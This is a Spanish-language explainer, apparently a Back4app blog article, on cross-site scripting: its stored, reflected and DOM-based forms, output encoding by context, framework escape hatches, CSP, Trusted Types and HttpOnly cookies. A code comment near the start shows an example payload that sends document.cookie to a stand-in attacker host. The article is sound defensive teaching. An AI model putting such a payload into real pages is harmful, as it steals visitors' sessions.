¿Qué es el Cross-Site Scripting (XSS) y cómo se previene?

Actualizado: septiembre de 2026

El cross-site scripting es un ataque que inyecta scripts maliciosos en páginas confiables; prevenirlo exige codificar la salida según cada contexto. El navegador es víctima de su propia confianza: un script que llega dentro de una página desde un origen legítimo corre con todos los poderes de esa página — sesión, storage, cada acción que el usuario puede ejecutar. Tres décadas después, el CWE-79 sigue encabezando los rankings de debilidades más peligrosas, porque la causa raíz se comete una plantilla a la vez: entrada no confiable que llega a la salida sin codificación.

Puntos clave

PreguntaRespuesta
Los tres tiposAlmacenado (en la base) · reflejado (en la URL) · basado en DOM (en el JS del cliente)
La defensa primariaCodificación de salida según el contexto — al renderizar, por destino
La regla que todos inviertenValida por corrección; codifica por seguridad — la validación sola no alcanza
FrameworksAuto-escape por defecto — hasta la válvula de escape (v-html, dangerouslySetInnerHTML)
Las redes de seguridadCSP estricta · Trusted Types · cookies HttpOnly — mitigación, no corrección

Una línea vulnerable

// El bug — el dato del usuario encuentra un sink de HTML
commentEl.innerHTML = comment.text;
// Payload que alguien terminará enviando:
//   <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
// El navegador de cada lector lo ejecuta, con la sesión del lector.

// La corrección — mismo dato, contexto de texto
commentEl.textContent = comment.text;   // el markup se muestra; nunca se ejecuta

La disciplina detrás de esa corrección — almacenar crudo, renderizar seguro — a lo largo del stack:

// JavaScript / Node.js — Back4app JS SDK + browser
// Store RAW, render SAFE — encoding happens at output, not at save
const comment = new Parse.Object('Comment');
comment.set('text', userInput); // saved as-is: O'Brien, 1 < 2, all fine
await comment.save();

// Rendering: textContent treats it as text — markup never executes
commentEl.textContent = comment.get('text'); // safe by construction
// commentEl.innerHTML = comment.get('text'); // ← the XSS sink

XSS almacenado vs. reflejado vs. basado en DOM

Almacenado (persistente)ReflejadoBasado en DOM
El payload viveEn tu base de datosEn una URL manipuladaEn el flujo de datos del cliente
VíctimasTodo el que ve la páginaQuien hace clic en el linkQuien llega al estado de la página
El servidor lo veSí — al escribirSí — devuelto en cada solicitudMuchas veces nunca
Vector clásicoComentarios, perfiles, mensajesEcos de búsqueda, páginas de errorlocation.hashinnerHTML
Consenso de severidadEl más peligrosoDirigido, depende del linkInvisible para logs del servidor y WAFs
Cómo los tres tipos de XSS entregan un payload al navegador de la víctimaLa entrada del atacante llega al navegador de la víctima por tres caminos. El XSS almacenado se guarda en la base de datos y se sirve a todos los visitantes. El XSS reflejado se devuelve como eco desde una solicitud con URL manipulada. El XSS basado en DOM fluye de una fuente del lado del cliente directo a un sink peligroso, sin necesariamente llegar al servidor. Los tres terminan con el script ejecutándose con todos los privilegios de la página.

guardada: comentario, perfil

servida a todos los visitantes

URL manipulada, devuelta como eco

fuente del cliente → sink
(hash → innerHTML)

Entrada del atacante

Base de datos

Navegador de la víctima

Respuesta del servidor

JS de la propia página

El script corre con la sesión,
el storage y los poderes de la página

La entrada del atacante llega al navegador de la víctima por tres caminos. El XSS almacenado se guarda en la base de datos y se sirve a todos los visitantes. El XSS reflejado se devuelve como eco desde una solicitud con URL manipulada. El XSS basado en DOM fluye de una fuente del lado del cliente directo a un sink peligroso, sin necesariamente llegar al servidor. Los tres terminan con el script ejecutándose con todos los privilegios de la página.

La defensa primaria: codificación de salida según el contexto

La regla de fondo, dicha con claridad ya que las autoridades del tema la entierran: la misma string es segura en un lugar y letal en otro — por eso la codificación ocurre en la salida, por destino, y por eso la validación de entrada sola siempre falla: al momento de la entrada no conoces el contexto, las blocklists pierden contra los trucos de encoding, y los datos legítimos (O'Brien, 1 < 2) se rompen bajo la validación-como-seguridad.

Contexto de salidaCodificaEl error común
Cuerpo del HTMLCodificar como entidades & < > " 'Confiar en que “es solo texto”
Atributo HTMLEntidades + siempre comillas en el atributoAtributos sin comillas — los espacios rompen el valor
String de JavaScriptEscape \uXXXX, vía serializadorConcatenar datos del usuario en JS inline
URL / hrefPercent-encoding + validar el schemeLas URLs javascript: pasan intactas la codificación HTML
Valor de CSSAllowlists estrictas, solo valores de propiedadBloques de style controlados por el usuario
JSON en la páginaSerializar como JSON + escapar </script>Blobs de hidratación window.__STATE__ = …

Cuando los usuarios escriben HTML legítimamente — rich text, markdown — la codificación lo destruiría; ese es el único trabajo de la sanitización: una biblioteca mantenida (DOMPurify) elimina las construcciones ejecutables, y la salida debe usarse tal cual — volver a modificar una string sanitizada anula la sanitización.

Frameworks: escapado por defecto, inseguro por la válvula de escape

Los frameworks modernos jubilaron el grueso del XSS clásico — los valores interpolados se escapan automáticamente. Dos cláusulas de letra chica mantienen vivo el bug. Primera: todo framework trae un bypass, y cada uno es un blanco de grep en el code review:

FrameworkEscapa por defectoLa válvula de escape
ReactInterpolación JSXdangerouslySetInnerHTML
VuePlantillas {{ }}v-html
AngularInterpolación + sanitizadorbypassSecurityTrustHtml y hermanos
SvelteExpresiones de plantilla{@html …}
Plantillas de servidorModo auto-escapeFiltros | safe / | raw

Segunda: el auto-escape cubre solo el contexto del cuerpo HTML: un href ligado a datos del usuario todavía ejecuta URLs javascript:, e incrustar en scripts inline todavía exige codificación de contexto JS. La respuesta en forma de flujo de trabajo: sanitiza antes de cualquier válvula de escape, valida el scheme de las URLs en links ligados a datos y agrega lint para las válvulas (react/no-danger y afines), para que las excepciones sigan siendo deliberadas.

Defensa en profundidad: CSP, Trusted Types, HttpOnly

Las redes de seguridad, con su etiqueta honesta. Una Content Security Policy estricta bloquea scripts inline inyectados incluso cuando un bug llega a producción:

Content-Security-Policy:
  script-src 'nonce-{random-per-response}' 'strict-dynamic';
  object-src 'none'; base-uri 'none'

Basada en nonces, no en allowlists — las allowlists de hosts son evadibles con la frecuencia suficiente para que el cheat sheet de OWASP insista en que la CSP no debe ser tu defensa primaria. Despliégala primero en modo Report-Only. Trusted Types (require-trusted-types-for 'script') va más allá para el XSS de DOM: los sinks peligrosos como innerHTML pasan a rechazar strings planas, forzando todo el HTML a través de una única política auditable. Y las cookies HttpOnly protegen exactamente una cosa — los scripts inyectados no pueden leer la cookie de sesión — lo cual importa porque los tokens en localStorage están a un localStorage.getItem de la exfiltración: la guía de almacenamiento de JWT y este artículo son el mismo argumento visto desde dos lados. Ninguna de las tres corrige el bug; las tres encogen lo que vale.

La parte que le toca al backend

El XSS suena a problema de frontend; una porción le pertenece a la API. Almacena crudo, codifica en la salida — codificar al escribir corrompe datos, genera doble codificación en las idas y vueltas y aun así falla en contextos que no previste. Disciplina de content type: las respuestas JSON declaran Content-Type: application/json más X-Content-Type-Options: nosniff, porque un parámetro reflejado en una respuesta que el navegador acepta olfatear como HTML es XSS con pasos extra. Las páginas de error que hacen eco de la URL o los parámetros son el sink reflejado clásico que nadie revisa. Y la trampa vecina que merece una frase: renderizar la entrada del usuario como plantilla, y no como dato, escala más allá del XSS hacia la server-side template injection — la entrada del usuario es dato de plantilla, nunca código de plantilla.

Casos de uso comunes

Dónde estas defensas se ganan el sueldo:

  • Comentarios, reseñas, mensajes — territorio del XSS almacenado: codifica al renderizar, en todos los lugares donde aparecen.
  • Rich text y markdown — el caso del HTML legítimo: sanitiza al renderizar, mantén el sanitizador actualizado.
  • Búsquedas, filtros, páginas de error — territorio del reflejado: cualquier cosa que haga eco de datos de la solicitud los codifica.
  • SPAs que rutean por estado de la URL — territorio del DOM: los datos de fragmento y de query nunca tocan innerHTML sin sanitizar.
  • WebViews móviles — la superficie de XSS de la app nativa: nunca cargues contenido crudo del usuario como HTML.

¿Qué defensa va primero? Matriz de decisión

SituaciónHaz
Mostrar texto del usuarioInterpolación del framework / textContent — nada más sofisticado
Renderizar HTML escrito por el usuarioSanitizar con DOMPurify, usar la salida tal cual
Dato del usuario en un linkValidar allowlist de schemes (https:), luego codificar
JSON/estado inline en páginasSerializar como JSON con escape seguro para script
Llevar cualquiera de lo anterior a producciónCSP estricta con nonces en Report-Only, luego aplicar
Auditar código existenteGrep a las válvulas de escape y los sinks; lint; probar payloads por contexto

Limitaciones y trade-offs

  • La codificación debe ser exacta para el contexto. Codificar como HTML un dato ligado a una URL o a un bloque de script es el patrón de la falsa seguridad — defensa correcta, contexto equivocado, sigue siendo explotable.
  • Los sanitizadores son dependencias. Los bypasses se publican; un sanitizador fijado y desactualizado se convierte, en silencio, en una vulnerabilidad con changelog.
  • La CSP cuesta ingeniería. Los nonces tocan cada etiqueta de script y cada handler inline; adoptar CSP estricta en una base legada es un proyecto — por eso existe Report-Only.
  • Trusted Types tiene bordes de adopción. La aplicación la lidera Chromium; trátala como endurecimiento encima de la codificación, no como garantía de portabilidad.
  • Los WAFs no son la respuesta. Los filtros por coincidencia de patrones atrapan payloads conocidos y pierden encodings y mutaciones; la propia guía de OWASP los llama poco confiables para el XSS.

Prevención de XSS en Back4app

Back4app es una plataforma open-source de Backend as a Service (BaaS) que combina base de datos gestionada, APIs REST y GraphQL generadas automáticamente, autenticación, almacenamiento de archivos y funciones serverless con Cloud Code. La porción del backend en la disciplina ya viene integrada: los datos se almacenan crudos y se devuelven por APIs JSON con content types correctos — nunca renderizados como HTML en el servidor — de modo que la responsabilidad de codificar en la salida queda limpia en tu capa de UI, donde las pestañas de código de arriba muestran el patrón almacenar-crudo/renderizar-seguro por plataforma. Los controles de radio de daño ya están encendidos: las sesiones viajan en tokens revocables en lugar de credenciales de larga vida en localStorage, y las ACLs con permisos a nivel de clase delimitan lo que cualquier script ejecutándose como un usuario podría tocar — un payload inyectado hereda los permisos de la víctima, no la base de datos. Cloud Code es el lugar correcto para la higiene restante del lado del servidor: validar campos de URL contra allowlists de schemes y sanitizar los campos de rich text una sola vez, en el beforeSave, para que cada cliente renderice el mismo contenido ya defendido.

Preguntas frecuentes

¿Qué es el XSS en términos simples?

Un atacante cuela su propio JavaScript dentro de una página que otras personas ven — mediante un comentario, un link manipulado, un campo de perfil — y el navegador de las víctimas lo ejecuta como si el propio sitio lo hubiera escrito. Desde ahí, el script puede hacer todo lo que la víctima puede: leer sus datos, actuar en su nombre, robar su sesión.

¿Cuál es un ejemplo de ataque XSS?

Un campo de comentarios que no codifica la salida: envía una etiqueta de script como comentario y se ejecuta en el navegador de cada lector. Los payloads de prueba de concepto disparan un alert; los reales envían al atacante la cookie de sesión o los tokens de la víctima.

¿Cuál es la diferencia entre XSS almacenado, reflejado y basado en DOM?

Por dónde viaja el payload. El XSS almacenado vive en la base de datos y golpea a todo el que ve la página. El reflejado viaja en una URL manipulada y golpea a quien hace clic en ella. El basado en DOM ocurre por completo en el JavaScript del cliente — el dato del atacante fluye de una fuente como el fragmento de la URL a un sink como innerHTML, a veces sin tocar nunca el servidor.

¿Cómo se previene el XSS?

En este orden: codificación de salida según el contexto al momento de renderizar (la defensa primaria), validación de entrada como capa de apoyo, una biblioteca de sanitización cuando los usuarios pueden escribir HTML de verdad, content types correctos en las APIs, una Content Security Policy estricta como red de seguridad y cookies HttpOnly para limitar lo que un ataque exitoso puede robar.

Codificación de salida, validación de entrada, sanitización — ¿cuál usar?

Trabajos distintos. La codificación convierte caracteres en la salida para que el dato se muestre como texto en lugar de ejecutarse — la defensa primaria, elegida por contexto. La validación rechaza entrada malformada al llegar — útil para la corrección, insuficiente para la seguridad, porque el peligro depende de dónde aterriza el dato. La sanitización elimina construcciones inseguras del HTML que sí piensas renderizar como HTML.

¿La Content Security Policy detiene el XSS?

Una CSP estricta, basada en nonces, bloquea scripts inline inyectados incluso cuando el bug existe — defensa en profundidad genuina. Pero es el respaldo, no la corrección: las políticas estilo allowlist son ampliamente evadibles, y la guía de OWASP es explícita en que la CSP nunca debe ser la defensa primaria.

¿React y Vue previenen el XSS automáticamente?

En gran parte — la interpolación de plantillas escapa los valores automáticamente, lo que jubiló clases enteras de bugs. Pero cada framework trae válvulas de escape que reintroducen el XSS tal cual: dangerouslySetInnerHTML en React, v-html en Vue, las APIs que saltan la sanitización en Angular — más las URLs javascript: en bindings de href, que el auto-escape nunca cubrió.

¿Cuál es la diferencia entre XSS y CSRF?

La capacidad. El XSS ejecuta código del atacante en el navegador de la víctima — de ida y vuelta: puede leer respuestas y hacer todo lo que el usuario hace. El CSRF solo engaña al navegador para enviar solicitudes forjadas — de ida, sin lectura, y dependiente de una sesión activa. El XSS es la clase más severa, y un bug de XSS puede derrotar las defensas contra CSRF.

Términos relacionados

Compara con

Lecturas recomendadas

¿Listo para construir tu backend?

Empieza tu proyecto en Back4app en minutos — base de datos, autenticación, APIs y Cloud Code incluidos. Sin tarjeta de crédito.

Escrito y revisado por Back4app Engineering, Back4app Engineering · Publicado el 2026-09-04